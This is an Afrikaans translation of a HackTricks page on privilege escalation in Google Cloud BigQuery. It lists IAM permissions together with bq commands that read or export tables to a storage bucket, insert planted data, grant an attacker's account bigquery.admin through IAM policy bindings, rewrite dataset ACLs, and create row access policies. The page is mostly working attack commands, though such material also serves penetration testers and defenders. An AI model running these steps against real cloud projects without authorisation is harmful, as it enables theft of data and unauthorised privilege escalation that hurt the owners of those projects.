GCP - BigQuery Privesc

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

BigQuery

Vir meer inligting oor BigQuery, kyk:

GCP - Bigquery Enum

Lees Tabel

Deur die inligting wat binne 'n BigQuery-tabel gestoor is te lees, is dit moontlik om sensitiewe inligting te vind. Om toegang tot die inligting te verkry, is die vereiste toestemming bigquery.tables.get, bigquery.jobs.create en bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Voer data uit

Dit is 'n ander manier om toegang tot die data te verkry. Voer dit uit na 'n wolkstoorbak en laai die lêers met die inligting af. Om hierdie aksie uit te voer, is die volgende toestemmings nodig: bigquery.tables.export, bigquery.jobs.create en storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Voeg data in

Dit mag dalk moontlik wees om sekere vertroude data in 'n Bigquery-tabel in te voer om 'n kwesbaarheid in 'n ander plek te misbruik. Dit kan maklik gedoen word met die toestemmings bigquery.tables.get, bigquery.tables.updateData en bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

'n Aanvaller kan hierdie bevoegdheid misbruik om homself verdere toestemmings oor 'n BigQuery-dataset te gee:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Net hierdie toestemming maak dit moontlik om jou toegang tot 'n BigQuery-dataset te opdateer deur die ACL's te wysig wat aandui wie daartoe toegang kan verkry:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>

bigquery.tables.setIamPolicy

'n Aanvaller kan hierdie bevoegdheid misbruik om homself verdere toestemmings oor 'n BigQuery-tabel te gee:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Volgens die dokumentasie is dit moontlik om 'n rybeleid te opdateer met die genoemde toestemmings. Tog, met die gebruik van die bq-opdraglynkoppelvlak benodig jy nog 'n paar meer toestemmings: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:user@email.xyz") FILTER USING (term = "Cfba");' # A example filter was used

Dit is moontlik om die filter-ID in die uitset van die opnamebeleide-opsomming te vind. Voorbeeld:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated